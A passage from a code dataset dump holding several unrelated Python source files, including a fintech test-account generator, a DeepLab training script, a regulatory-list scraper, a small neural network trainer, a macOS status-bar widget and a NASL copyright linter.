requests\nimport json\nfrom datetime import datetime, timedelta\nimport random\nimport string\nfrom xml.etree.ElementTree import Element, SubElement, Comment, tostring\nfrom xml.sax.saxutils import unescape\nimport re\n\n\ndef add_user_test_acc(detail_dict):\n global req\n\n req_api = 'http://api.finvu.in/Accounts/add'\n\n req = {\n\n \"body\": {\n 'UserAccountInfo': {\n \"UserAccount\": {\n \"accountNo\": ''.join(random.choices(string.ascii_uppercase + string.digits, k=10)),\n \"accountRefNo\": ''.join(random.choices(string.ascii_uppercase + string.digits, k=11)),\n \"accountTypeEnum\": 'CURRENT',\n \"FIType\": 'DEPOSIT',\n \"Identifiers\": {\n\n \"pan\": ''.join(random.choices(string.ascii_uppercase, k=5))+''.join(random.choices(string.digits, k=4))+''.join(random.choices(string.ascii_uppercase, k=1)),\n \"mobile\": detail_dict['phone'],\n \"email\": detail_dict['email'],\n \"aadhar\": ''.join(random.choices(string.digits, k=10))\n }\n }\n }\n }\n\n }\n\n top = Element('UserAccountInfo')\n useraccount = SubElement(top, 'UserAccount',\n {'accountRefNo': req['body']['UserAccountInfo']['UserAccount']['accountRefNo'],\n 'accountNo': req['body']['UserAccountInfo']['UserAccount']['accountNo'],\n 'accountTypeEnum': req['body']['UserAccountInfo']['UserAccount']['accountTypeEnum'],\n 'FIType': req['body']['UserAccountInfo']['UserAccount']['FIType']})\n identifier = SubElement(useraccount, 'Identifiers',\n {'pan': req['body']['UserAccountInfo']['UserAccount']['Identifiers']['pan'],\n 'mobile': str(req['body']['UserAccountInfo']['UserAccount']['Identifiers']['mobile']),\n 'email': req['body']['UserAccountInfo']['UserAccount']['Identifiers']['email'],\n 'aadhar': req['body']['UserAccountInfo']['UserAccount']['Identifiers']['aadhar']})\n\n Headers = {'Content-type': 'application/xml'}\n\n detail_dict['accountRefNo'] = req['body']['UserAccountInfo']['UserAccount']['accountRefNo']\n detail_dict['accountNo'] = req['body']['UserAccountInfo']['UserAccount']['accountNo']\n detail_dict['pan'] = req['body']['UserAccountInfo']['UserAccount']['Identifiers']['pan']\n detail_dict['aadhar'] = req['body']['UserAccountInfo']['UserAccount']['Identifiers']['aadhar']\n\n r = requests.post(req_api, data=tostring(top), headers=Headers)\n print(r.text)\n\n return detail_dict\n\n\ndef add_transaction(summary, draw_limit, txn_day, day):\n expense_cats = ['food', 'travel', 'recharge', 'purchase', 'gift', 'beauty', 'gym', 'outing', 'medical',\n 'entertainment']\n\n income_cats = ['e_transfer', 'gift', 'loan', 'sale']\n\n # if days from start is multiple of 30 credit salary\n if day % 30 == 0:\n deb_cr = \"CREDIT\"\n amount = 45000\n summary['currentBalance'] += amount\n ref = 'SALARY'\n\n elif day % 29 == 0:\n deb_cr = \"DEBIT\"\n amount = 10000\n summary['currentBalance'] -= amount\n ref = 'RENT'\n\n else:\n\n if random.random() > 0.5:\n deb_cr = \"CREDIT\"\n amount = round(random.randrange(1000, 10000), 2)\n summary['currentBalance'] += amount\n ref = ''.join(random.choices(income_cats, k=1))\n else:\n deb_cr = \"DEBIT\"\n amount = round(random.randrange(100, summary[\"currentBalance\"]), 2)\n if amount < draw_limit:\n summary['currentBalance'] -= amount\n else:\n amount = draw_limit\n summary['currentBalance'] -= amount\n ref = ''.join(random.choices(expense_cats, k=1))\n\n txn = {\n \"txnId\": ''.join(random.choices(string.ascii_uppercase + string.digits, k=6)),\n \"type\": deb_cr,\n \"mode\": \"OTHERS\",\n \"amount\": str(amount),\n \"currentBalance\": str(summary['currentBalance']),\n \"transactionTimestamp\": str(datetime.combine(txn_day, datetime.min.time())).replace(\" \", \"T\"),\n \"valueDate\": str(txn_day.date()),\n \"narration\": ref,\n \"reference\": ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))\n }\n\n txn_str = '<Transaction txnId=\"{}\" type=\"{}\" mode=\"{}\" amount=\"{}\" currentBalance=\"{}\" ' \\\n 'transactionTimestamp=\"{}\" valueDate=\"{}\" ' \\\n 'narration=\"{}\" reference=\"{}\"/>'.format(txn[\"txnId\"],\n txn[\"type\"],\n txn[\"mode\"],\n txn[\"amount\"],\n txn[\"currentBalance\"],\n txn[\"transactionTimestamp\"],\n txn[\"valueDate\"],\n txn[\"narration\"],\n txn[\"reference\"])\n\n return txn_str\n\n\ndef add_transactions_data(number, start_day, data_dict):\n # print(number)\n trans_api = \"http://api.finvu.in/Accounts/Transaction/add\"\n start = datetime.strptime(start_day, \"%Y-%m-%d\")\n draw_limit = 10000\n summary = {\"currentBalance\": round(random.randrange(2000, 20000), 2),\n \"currency\": \"INR\",\n \"exchngeRate\": \"5.5\",\n \"balanceDateTime\": str(datetime.combine(start, datetime.min.time())).replace(\" \", \"T\"),\n \"type\": \"CURRENT\",\n \"branch\": \"Bangalore\",\n \"facility\": \"CC\",\n \"ifscCode\": \"BARBOSHIPOO\",\n \"micrCode\": \"411012011\",\n \"openingDate\": start_day,\n \"currentODLimit\": \"20000\",\n \"drawingLimit\": str(draw_limit),\n \"status\": \"Active\"}\n\n summary_str = '<Summary currentBalance=\"{}\" currency=\"{}\" exchgeRate=\"{}\" ' \\\n 'balanceDateTime=\"{}\" type=\"{}\" branch=\"{}\" facility=\"{}\" ' \\\n 'ifscCode=\"{}\" micrCode=\"{}\" openingDate=\"{}\" currentODLimit=\"{}\" ' \\\n 'drawingLimit=\"{}\" status=\"ACTIVE\"><Pending amount=\"20.0\"/></Summary> '.format(summary[\"currentBalance\"],\n summary[\"currency\"],\n summary[\"exchngeRate\"],\n summary[\"balanceDateTime\"],\n summary[\"type\"],\n summary[\"branch\"],\n summary[\"facility\"],\n summary[\"ifscCode\"],\n summary[\"micrCode\"],\n summary[\"openingDate\"],\n summary[\"currentODLimit\"],\n summary[\"drawingLimit\"],\n summary[\"status\"])\n\n c_data_str = '<![CDATA[<Account xmlns=\"http://api.rebit.org.in/FISchema/deposit\" ' \\\n 'xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" ' \\\n 'xsi:schemaLocation=\"http://api.rebit.org.in/FISchema/deposit ../FISchema/deposit.xsd\" ' \\\n 'linkedAccRef=\"{}\" maskedAccNumber=\"{}\" version=\"1.0\" ' \\\n 'type=\"deposit\"><Profile><Holders type=\"JOINT\"><Holder name=\"YOUR NAME\" dob=\"1995-04-19\" ' \\\n 'mobile=\"{}\" nominee=\"NOT-REGISTERED\" email=\"{}\" pan=\"{}\" ' \\\n 'ckycCompliance=\"true\"/></Holders></Profile> '.format(data_dict['accountRefNo'],\n data_dict['accountNo'],\n data_dict['phone'],\n data_dict['email'],\n data_dict['pan'])\n\n end_str = '</Transactions></Account>]]>'\n\n transactions = []\n\n for day in range(number):\n try:\n transactions.append(add_transaction(summary, draw_limit, start + timedelta(day), day))\n except Exception as e:\n #print(e)\n continue\n\n #print(transactions)\n\n end_day = start + timedelta(number)\n\n txns = '<Transactions startDate=\"{}\" endDate=\"{}\">'.format(start_day, str(end_day.date()))\n\n cdata_str = c_data_str + summary_str + txns + \"\".join(txn for txn in transactions) + end_str\n\n #print(cdata_str)\n\n top = Element('UserAccountTrans')\n\n useraccount = SubElement(top, 'UserAccount', {})\n\n acc_ref_no = SubElement(useraccount, 'accountRefNo', {})\n acc_ref_no.text = data_dict['accountRefNo']\n acc_no = SubElement(useraccount, 'accountNo', {})\n acc_no.text = data_dict['accountNo']\n fi_type = SubElement(useraccount, 'FIType', {})\n fi_type.text = 'DEPOSIT'\n acc_type_enum = SubElement(useraccount, 'accountTypeEnum', {})\n acc_type_enum.text = 'CURRENT'\n acc_data = SubElement(useraccount, 'accountData', {})\n acc_data.text = cdata_str\n\n Headers = {'Content-type': 'application/xml'}\n\n print(unescape(tostring(top).decode()))\n\n r = requests.post(trans_api, data=unescape(tostring(top).decode()), headers=Headers)\n print(r.text)\n\n return 0\n\n\n\n\nstart_day = \"2017-07-03\"\n\npart_add = datetime.strptime(start_day, \"%Y-%m-%d\")\n\ntoday = datetime.now().date()\n\nconfig = yaml.load(open('test_account_conf.yml'))\n\ndays = today - part_add.date()\n\nprint(days)\n\nfor key in config['Users']:\n config['Users'][key] = add_user_test_acc(config['Users'][key])\n\n add_transactions_data(int(days.days), start_day, config['Users'][key])\n\nconfig_doc = yaml.dump(config, open(\"test_account_conf.yml\", \"w\"))\n\nprint(config_doc)\n","repo_name":"Akhilesh-Gogikar/BharatFed","sub_path":"test_account_create.py","file_name":"test_account_create.py","file_ext":"py","file_size_in_byte":10726,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"11121029209","text":"#!/usr/bin/env python3\n\"\"\"\n@Filename: main.py\n@Author: sgx team\n@Time: 01/10/2021 23:32\n\"\"\"\nimport argparse\nimport os\nimport time\nfrom glob import glob\n\nfrom deeplab.graph_viz import get_graphs\nfrom deeplab.model import DeeplabV3Plus, CompileModel\nfrom deeplab.modelv2 import Deeplabv3\nfrom deeplab.overlay import plot_predictions, save_cv_image\nfrom deeplab.params import IMAGE_SIZE, NUM_CLASSES, MODEL_WEIGHTS_PATH, PRED_OUTPUT, LOAD_WEIGHTS_MODEL, BACKBONE, \\\n INITIAL_WEIGHTS, FREEZE_BACKBONE\nfrom deeplab.train import train, write_model_info\nfrom deeplab.utils import post_process\n\n\ndef main(is_train, content=\"\"):\n \"\"\"\n Write the content to a text file in the model saving directory\n Then we wont loose the track of what we have done as experiments\n \"\"\"\n write_model_info(content)\n # Select one of the predefined newworks\n if not (BACKBONE in {'xception', 'mobilenetv2', 'resnet50'}):\n raise ValueError('The `backbone` argument should be either '\n '`xception`, `resnet50` or `mobilenetv2` ')\n print(f\"Loading Backbone: {BACKBONE}\")\n time.sleep(0.5)\n if BACKBONE == \"resnet50\":\n \"\"\"\n Custom model which was taken from Keras team\n Link - https://keras.io/examples/vision/deeplabv3_plus/\n \"\"\"\n deeplab_model = DeeplabV3Plus(image_size=IMAGE_SIZE, num_classes=NUM_CLASSES,\n freeze_backbone=FREEZE_BACKBONE)\n else:\n \"\"\"\n This implementation was taken from another repository\n Link - https://github.com/bonlime/keras-deeplab-v3-plus\n \"\"\"\n _weights = \"pascal_voc\" if INITIAL_WEIGHTS else None\n deeplab_model = Deeplabv3(input_shape=(IMAGE_SIZE[0], IMAGE_SIZE[1], 3), classes=NUM_CLASSES,\n backbone=BACKBONE, weights=_weights)\n if LOAD_WEIGHTS_MODEL:\n \"\"\"\n Loading weights if mentioned in params\n \"\"\"\n print(f\"Loading weights: {MODEL_WEIGHTS_PATH}\")\n deeplab_model.load_weights(MODEL_WEIGHTS_PATH)\n print(\"Weights loaded!\")\n time.sleep(0.5)\n\n if is_train:\n \"\"\"\n If the model is to train then\n + Compile the model and call training function\n + get the information\n + plot the graphs\n \"\"\"\n deeplab_model = CompileModel(deeplab_model)\n history = train(deeplab_model)\n get_graphs(history)\n else:\n \"\"\"\n If the model is for inference \n Load the images and then run one by one plot the predictions and save\n \"\"\"\n print(deeplab_model.summary())\n image_list = glob(\"dataset/Testing/Images/*\")[:10]\n pred_list = plot_predictions(image_list, model=deeplab_model)\n if not os.path.exists(PRED_OUTPUT):\n os.makedirs(PRED_OUTPUT)\n for image_path, pred in zip(image_list, pred_list):\n im, overlay, prediction_colormap = pred\n save_folder = os.path.join(PRED_OUTPUT, os.path.basename(image_path).split('.')[0])\n os.makedirs(save_folder, exist_ok=True)\n save_cv_image(os.path.join(save_folder, 'mask_' + os.path.basename(image_path)), prediction_colormap)\n save_cv_image(os.path.join(save_folder, 'overlay_' + os.path.basename(image_path)), overlay)\n save_cv_image(os.path.join(save_folder, 'image_' + os.path.basename(image_path)), post_process(im))\n # save_cv_image(os.path.join(save_folder, 'image_' + os.path.basename(image_path)), (im + 1) * 127.5)\n print(f\"Saved results to - {save_folder}\")\n\n\ndef create_argparse():\n \"\"\"\n Arg parser for commandline inputs\n :return:\n \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument('--train', help='Enable if training', action='store_true')\n parser.add_argument('--info', help='Information about the model', type=str, default=\"\")\n\n args = parser.parse_args()\n main(args.train, args.info)\n\n\nif __name__ == '__main__':\n create_argparse()\n","repo_name":"CodeProcessor/DeepLab-Training-Pipeline","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4011,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"37376483757","text":"#!/usr/bin/python\n#-*- coding: utf-8 -*-\n\nfrom unscrapulous.utils import *\n\nSOURCE = 'https://www.nseindia.com/regulations/exchange-defaulting-clients'\nOUTPUT_DIR = '/tmp/unscrapulous/files'\nOUTPUT_FILE = 'nse-regulatory-defaulting-clients.csv'\n\ndef main(conn, session):\n create_dir(OUTPUT_DIR)\n soup = get_soup(SOURCE, session)\n file_url = soup.find('a', {'class' : 'file'})['href']\n filename = file_url.split('/')[-1]\n download_files([file_url], OUTPUT_DIR)\n convert_into_csv([filename], OUTPUT_DIR, ext='xlsx')\n os.rename(os.path.join(OUTPUT_DIR, filename.replace('xlsx', 'csv')), os.path.join(OUTPUT_DIR, OUTPUT_FILE))\n delete_files([os.path.join(OUTPUT_DIR, filename)])\n\n alias = {\n 'PAN': 'Pan of Client ',\n 'Name': 'Name of the Defaulting client ',\n 'AddedDate': 'Date of Order / Award '\n }\n write_to_db(conn, os.path.join(OUTPUT_DIR, OUTPUT_FILE), SOURCE, alias)\n","repo_name":"themousepotato/unscrapulous","sub_path":"unscrapulous/scrapers/nse_regulatory_defaulting_clients.py","file_name":"nse_regulatory_defaulting_clients.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"5302150472","text":"'''\nComparing single layer MLP with deep MLP (using TensorFlow)\n'''\nfrom scipy.optimize import minimize\nfrom math import sqrt\nimport numpy as np\nimport pickle\nimport time\n\n# Do not change this\ndef initializeWeights(n_in,n_out):\n \"\"\"\n # initializeWeights return the random weights for Neural Network given the\n # number of node in the input layer and output layer\n\n # Input:\n # n_in: number of nodes of the input layer\n # n_out: number of nodes of the output layer\n \n # Output: \n # W: matrix of random initial weights with size (n_out x (n_in + 1))\"\"\"\n epsilon = sqrt(6) / sqrt(n_in + n_out + 1)\n W = (np.random.rand(n_out, n_in + 1)*2* epsilon) - epsilon\n return W\n\n\n\n# Replace this with your sigmoid implementation\ndef sigmoid(z):\n return 1.0/(1.0+np.exp(-1.0*z))\n \n\n# Replace this with your nnObjFunction implementation\ndef nnObjFunction(params, *args):\n n_input, n_hidden, n_class, training_data, training_label, lambdaval = args\n\n w1 = params[0:n_hidden * (n_input + 1)].reshape((n_hidden, (n_input + 1))) \n w2 = params[(n_hidden * (n_input + 1)):].reshape((n_class, (n_hidden + 1)))\n # Your code here\n\n #So to think about it w1 is from input to hidden layer and w2 is hidden layer to output\n #So we need to calculate the weight sum if I am not mistaken\n #Should be weight1 * input + weight2* input,,,\n\n # add bias to the end\n temp = np.full((1,len(training_label)), 1, dtype=int) \n temp = temp.reshape(-1,1)\n #training_data = training_data.reshape(-1,1)\n training_data = np.column_stack((training_data,temp))\n # initialize hidden layer output\n loss = 0\n \n grad_hidden_layer = np.zeros((n_class, n_hidden+1), int)\n grad_input_layer = np.zeros((n_hidden, n_input+1), int)\n\n for i in range(len(training_label)):\n input_i = training_data[i, :]\n # find output of all hidden layer and store in z\n output = np.dot(w1, input_i.T)\n z = sigmoid(output)\n z = np.append(z, 1)\n\n # find output of all output layer and store in o\n output = np.dot(w2, z.T)\n out_np = sigmoid(output)\n \n # Calculate the loss:-\n true_label = training_label[i]\n y_l = [0] * n_class\n y_l[int(true_label)] = 1 # For 1-of-k coding scheme\n\n # Vectorized way\n yl_np = np.array(y_l)\n loss += np.sum(np.multiply(yl_np, np.log(out_np)) + np.multiply(1-yl_np, np.log(1-out_np)))\n\n\n # Calculate the gradients\n\n # Gradients for hidden layer to output layer:-\n # Vectorized way\n z = z.tolist()\n delta = out_np - yl_np\n grad_hidden_temp = (delta.reshape(-1,1) * z)\n\n # Add the gradient matrix calculated for this training instance to the main gradient matrix for hidden layers.\n grad_hidden_layer = np.add(grad_hidden_layer, grad_hidden_temp)\n \n # Gradients for input layer to hidden layer:-\n z_new = np.array(z[:-1])\n z_new = z_new.reshape(-1,1)\n w2_new = np.delete(w2, n_hidden-1, 1)\n grad_input_temp = (((1-z_new)*z_new) * (np.dot(delta, w2_new)).reshape(-1,1)) * input_i\n grad_input_layer = np.add(grad_input_layer, grad_input_temp)\n\n loss = (-1*loss)/len(training_label)\n\n # Regularization for loss\n loss += (lambdaval*(np.sum(w1*w1) + np.sum(w2*w2)))/(2*len(training_label))\n\n # Regularization for gradients:-\n grad_input_layer = (grad_input_layer + (w1*lambdaval))/len(training_label)\n grad_hidden_layer = (grad_hidden_layer + (w2*lambdaval))/len(training_label)\n\n # Make sure you reshape the gradient matrices to a 1D array. for instance if your gradient matrices are grad_w1 and grad_w2\n # you would use code similar to the one below to create a flat array\n obj_grad = np.concatenate((grad_input_layer.flatten(), grad_hidden_layer.flatten()),0)\n return (loss, obj_grad)\n\n \n# Replace this with your nnPredict implementation\ndef nnPredict(w1,w2,data):\n labels = np.array([])\n # Your code here\n temp = np.full((1,data.shape[0]), 1, dtype=int) \n temp = temp.reshape(-1,1)\n #data = data.reshape(-1,1)\n data = np.column_stack((data,temp))\n #predicting first thousand labels, change to range(data.shape[0]) in final submission\n rows = data.shape[0]\n for i in range(rows):\n #output_i = []\n input_i = data[i, :]\n # find output of all hidden layer and store in z\n output = np.dot(w1, input_i.T)\n z = sigmoid(output)\n z = np.append(z, 1)\n\n output = np.dot(w2, z.T)\n output_i = sigmoid(output)\n output_i = output_i.tolist()\n\n maxval = 0\n idx=0\n for k in range(len(output_i)):\n if output_i[k] > maxval:\n maxval=output_i[k]\n idx = k\n if len(labels) <= 0:\n labels=np.array([idx])\n else:\n labels = np.hstack((labels, idx))\n return labels\n\n\n\n# Do not change this\ndef preprocess():\n pickle_obj = pickle.load(file=open('face_all.pickle', 'rb'))\n features = pickle_obj['Features']\n labels = pickle_obj['Labels']\n train_x = features[0:21100] / 255\n valid_x = features[21100:23765] / 255\n test_x = features[23765:] / 255\n\n labels = labels[0]\n train_y = labels[0:21100]\n valid_y = labels[21100:23765]\n test_y = labels[23765:]\n return train_x, train_y, valid_x, valid_y, test_x, test_y\n\n\"\"\"**************Neural Network Script Starts here********************************\"\"\"\npara = open('params', 'wb')\n\ntrain_data, train_label, validation_data, validation_label, test_data, test_label = preprocess()\n\n# Train Neural Network\n# set the number of nodes in input unit (not including bias unit)\nn_input = train_data.shape[1]\nprint (\"n_input\", n_input)\n\n# set the number of nodes in output unit\nn_class = 2\n\n\n# Train Neural Network using fmin_cg or minimize from scipy,optimize module. Check documentation for a working example\nopts = {'maxiter': 50} # Preferred value.\n\n# Hidden layer units and lambda\nhidden_units = [4,8,12,16,20]\nlambdaval_list = [0,10,20,30,40,50,60] \n# hidden_units = [5, 6]\n# lambdaval_list = [0, 5] \nvalidation_error_params = []\nbest_params = None\n\n# In Case you want to use fmin_cg, you may have to split the nnObjectFunction to two functions nnObjFunctionVal\n# and nnObjGradient. Check documentation for this function before you proceed.\n# nn_params, cost = fmin_cg(nnObjFunctionVal, initialWeights, nnObjGradient,args = args, maxiter = 50)\n\nfor n_hidden in hidden_units:\n # initialize the weights into some random matrices\n initial_w1 = initializeWeights(n_input, n_hidden)\n initial_w2 = initializeWeights(n_hidden, n_class)\n\n # unroll 2 weight matrices into single column vector\n initialWeights = np.concatenate((initial_w1.flatten(), initial_w2.flatten()), 0)\n for lambdaval in lambdaval_list:\n args = (n_input, n_hidden, n_class, train_data, train_label, lambdaval)\n\n start = time.time()\n nn_params = minimize(nnObjFunction, initialWeights, jac=True, args=args, method='CG', options=opts)\n end = time.time()\n time_to_train = end-start\n ##print (\"time taken to train\", time_to_train)\n\n # Reshape nnParams from 1D vector into w1 and w2 matrices\n w1 = nn_params.x[0:n_hidden * (n_input + 1)].reshape((n_hidden, (n_input + 1)))\n w2 = nn_params.x[(n_hidden * (n_input + 1)):].reshape((n_class, (n_hidden + 1)))\n\n #Test the computed parameters\n\n predicted_label = nnPredict(w1, w2, train_data)\n #find the accuracy on Training Dataset\n train_accuracy = np.mean((predicted_label == train_label).astype(float))\n #print('\\n Training set Accuracy:' + str(100 * train_accuracy) + '%')\n\n predicted_label = nnPredict(w1, w2, validation_data)\n # find the accuracy on Validation Dataset\n predicted_accuracy = np.mean((predicted_label == validation_label).astype(float))\n #print('\\n Validation set Accuracy:' + str(100 * predicted_accuracy) + '%')\n \n # This will store results of each combination, so we can plot the results later.\n validation_error_params.append([w1, w2, n_hidden, lambdaval, train_accuracy, predicted_accuracy, time_to_train])\n\n if best_params is None:\n best_params = [w1, w2, n_hidden, lambdaval, train_accuracy, predicted_accuracy]\n else:\n if best_params[5] <= predicted_accuracy:\n best_params = [w1, w2, n_hidden, lambdaval, train_accuracy, predicted_accuracy]\n\n\n# Get the test error on the weights found from the best hyperparameters\nw1, w2 = best_params[0], best_params[1] \npredicted_label = nnPredict(w1, w2, test_data)\n\n# find the accuracy on Test Dataset\nprint('\\n Test set Accuracy:' + str(100 * np.mean((predicted_label == test_label).astype(float))) + '%')\n# 86.94% with n_hidden = 4, lambdaval = 50\n\n# Here is the part where dump file into pickle file\npickle.dump(best_params[2], para)\npickle.dump(w1, para)\npickle.dump(w2, para)\npickle.dump(best_params[3], para) # Best combination {4 hidden units, lambdaval = 50}\npara.close()\n\n\n#print (\"\\n details of params\", validation_error_params)\n\n# Store the results of all the hyperparameter combination\nhyper_params = open('all_hyperparams', 'wb')\npickle.dump(validation_error_params, hyper_params)\nhyper_params.close()\n\n\n","repo_name":"MihirBose/Handwritten-digits-classification-with-neural-networks-","sub_path":"facennScript.py","file_name":"facennScript.py","file_ext":"py","file_size_in_byte":9348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72110372053","text":"from .widget import *\n\nclass MenuDelegate_(object):\n MenuDelegate = ObjCSubclass('NSMenu', 'MenuDelegate')\n\n @MenuDelegate.method(\"@@\")\n def menuDidClose_(self, menu):\n if self.interface.on_close:\n process_callback(self.interface.on_close(self.interface))\n\n @MenuDelegate.method(\"@@\")\n def menuWillOpen_(self, menu):\n if self.interface.on_open:\n process_callback(self.interface.on_open(self.interface))\n\n @MenuDelegate.method(\"@@\")\n def itemChanged_(self, menu):\n if self.interface.on_open_first:\n process_callback(self.interface.on_open_first(self.interface))\n\n @MenuDelegate.method(\"v@\")\n def sendAction_(self, obj):\n callback = self.interface._callbacks[obj]\n callback['function'](callback['text'])\n\nMenuDelegate = ObjCClass('MenuDelegate')\n\nclass StatusBar(Widget):\n\n def __init__(self, title=\"\", on_open=None, on_close=None, on_open_first=None):\n super(StatusBar, self).__init__()\n self.title = title\n self._callbacks = {}\n self.on_open = on_open\n self.on_close = on_close\n self.on_open_first = on_open_first\n self.startup()\n\n def startup(self):\n self._menu = MenuDelegate.alloc().initWithTitle_(get_NSString(self.title))\n self._menu.interface = self\n self._menu.setDelegate_(self._menu)\n self._menu.setAutoenablesItems_(True)\n self._menu.setMenuChangedMessagesEnabled_(True)\n self._impl = NSStatusBar.systemStatusBar()\n self._item = self._impl.statusItemWithLength_(NSVariableStatusItemLength)\n self._item.setMenu_(self._menu)\n self._item.setTitle_(get_NSString(self.title))\n self._item.setHighlightMode_(True)\n\n def add_item(self, text, function=None, tooltip=\"\"):\n item = NSMenuItem.alloc()\n item.setTitle_(get_NSString(text))\n item.setEnabled_(True)\n item.setTarget_(self._menu)\n item.setAction_(get_selector('sendAction:'))\n item.setToolTip_(get_NSString(tooltip))\n self._callbacks[item] = dict(text=text,function=function)\n self._menu.addItem_(item)\n\n def add_seperator(self):\n item = NSMenuItem.alloc()\n self._menu.addItem_(item.separatorItem())\n\n def add_view(self, view):\n item = NSMenuItem.alloc()\n item.setEnabled_(True)\n item.setTarget_(item)\n item.setView_(view)\n self._menu.addItem_(item)","repo_name":"gabrielcsapo/dobby","sub_path":"dobby/widgets/statusbar.py","file_name":"statusbar.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18946085956","text":"import json\nimport math\nimport regex\nimport sys\nimport tkrzw\n\n\ndef main():\n args = sys.argv[1:]\n if len(args) < 1:\n raise ValueError(\"invalid arguments\")\n input_path = args[0]\n core_label = args[1] if len(args) > 1 else \"wn\"\n min_labels = int(args[2]) if len(args) > 2 else 0\n keywords = set()\n if len(args) > 3:\n with open(args[3]) as input_file:\n for line in input_file:\n keyword = line.strip().lower()\n if keyword:\n keywords.add(keyword)\n dbm = tkrzw.DBM()\n dbm.Open(input_path, False).OrDie()\n it = dbm.MakeIterator()\n it.First().OrDie()\n outputs = []\n while True:\n record = it.GetStr()\n if not record: break;\n key, data = record\n is_keyword = key in keywords\n entries = json.loads(data)\n for entry in entries:\n word = entry[\"word\"]\n prob = float(entry.get(\"probability\") or 0)\n space_count = word.count(\" \")\n labels = set()\n poses = []\n for item in entry[\"item\"]:\n label = item[\"label\"]\n pos = item[\"pos\"]\n labels.add(label)\n if label == core_label and pos not in poses:\n poses.append(pos)\n if not poses:\n for item in entry[\"item\"]:\n poses.append(pos)\n break\n core = entry.get(\"etymology_core\")\n if ((is_keyword and prob > 0.000001) or\n (core and core in keywords) or\n (core_label in labels and len(labels) >= min_labels and prob > 0) or\n (space_count < 1 and len(labels) >= min_labels and prob >= 0.00001)):\n fields = []\n fields.append(word)\n fields.append(\"{:.7f}\".format(prob))\n fields.append(\",\".join(labels))\n fields.append(\",\".join(poses))\n output = \"\\t\".join(fields)\n score = math.log(prob + 0.00000001) + 22\n score += len(labels) + math.log(len(entry[\"item\"]))\n score -= space_count\n outputs.append((score, output))\n it.Next()\n outputs = sorted(outputs, key=lambda x: x[0], reverse=True)\n for score, data in outputs:\n print(data)\n dbm.Close().OrDie()\n\n\nif __name__==\"__main__\":\n main()\n","repo_name":"estraier/tkrzw-dict","sub_path":"extract_union_good_words.py","file_name":"extract_union_good_words.py","file_ext":"py","file_size_in_byte":2078,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"67"} +{"seq_id":"24385567156","text":"import re\nfrom pathlib import Path\nfrom typing import Iterator\n\nfrom troubadix.helper import CURRENT_ENCODING\nfrom troubadix.plugin import (\n FileContentPlugin,\n LinterError,\n LinterFix,\n LinterResult,\n)\n\nCORRECT_COPYRIGHT_PHRASE = (\n \"# Some text descriptions might be excerpted from (a) referenced\\n\"\n \"# source(s), and are Copyright (C) by the respective right holder(s).\"\n)\n\n\nclass CheckCopyrightText(FileContentPlugin):\n name = \"check_copyright_text\"\n\n def check_content(\n self,\n nasl_file: Path,\n file_content: str,\n ) -> Iterator[LinterResult]:\n \"\"\"This plugin will report any occurrence of the following outdated text\n pattern:\n\n # Text descriptions are largely excerpted from the referenced\n # advisory, and are Copyright (C) of their respective author(s)\n\n or:\n\n # Text descriptions are largely excerpted from the referenced\n # advisory, and are Copyright (C) the respective author(s)\n\n or:\n\n # Text descriptions are largely excerpted from the referenced\n # advisory, and are Copyright (C) the respective author(s)\n\n or:\n\n # Some text descriptions might be excerpted from the referenced\n # advisories, and are Copyright (C) by the respective right holder(s)\n\n which should be the following from now on:\n\n # Some text descriptions might be excerpted from (a) referenced\n # source(s), and are Copyright (C) by the respective right holder(s).\n \"\"\"\n self.new_file_content = None\n\n if nasl_file.suffix == \".inc\":\n return\n\n match = re.search(\n r\"^# (Text descriptions are largely excerpted from the referenced\"\n r\"\\n# advisory, and are Copyright \\([cC]\\) (of )?(the|their) resp\"\n r\"ective author\\(s\\)|Some text descriptions might be excerpted from\"\n r\" the referenced\\n# advisories, and are Copyright \\(C\\) by the \"\n r\"respective right holder\\(s\\))\",\n file_content,\n re.MULTILINE,\n )\n if match:\n self.new_file_content = file_content.replace(\n match.group(0),\n CORRECT_COPYRIGHT_PHRASE,\n )\n\n yield LinterError(\n \"The VT is using an incorrect copyright statement.\",\n file=nasl_file,\n plugin=self.name,\n )\n\n def fix(self) -> Iterator[LinterResult]:\n if not self.new_file_content:\n return\n\n nasl_file = self.context.nasl_file\n nasl_file.write_text(\n data=self.new_file_content, encoding=CURRENT_ENCODING\n )\n\n yield LinterFix(\n f\"The copyright statement has been updated to \"\n f\"{CORRECT_COPYRIGHT_PHRASE}\",\n file=nasl_file,\n plugin=self.name,\n )\n","repo_name":"greenbone/troubadix","sub_path":"troubadix/plugins/copyright_text.py","file_name":"copyright_text.py","file_ext":"py","file_size_in_byte":2866,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"15125963152","text":"# -*- coding: utf-8 -*-\n# @Desc : 导出标准化后有偏差的数据\n\n\nimport os\nfrom datetime import datetime\n\nfrom app.excel import ExcelExporter\nfrom app.models.std_case import StdCase\n\n\nclass ExportDeviationData(ExcelExporter):\n def get_list(self, page_index):\n rt = StdCase().get_deviation_cases(page_index)\n return rt\n\n def assemble_row(self, sheet, case, row):\n self.set_cell(sheet, str(case.id), row, 1)\n self.set_cell(sheet, case.city_name, row, 2)\n self.set_cell(sheet, case.area_name, row, 3)\n self.set_cell(sheet, case.project_name, row, 4)\n self.set_cell(sheet, case.unitprice, row, 5)\n remark = case.std_remark\n if not remark and case.status == 0:\n remark = '重复案例'\n self.set_cell(sheet, remark, row, 6)\n\n\nif __name__ == '__main__':\n row0 = ['ID', '城市', '区域', '楼盘', '单价', '备注']\n file = datetime.now().strftime('%Y%m%d') + '偏差案例数据.xlsx'\n file = os.path.join(os.path.dirname(__file__), file)\n\n exportor = ExportDeviationData()\n 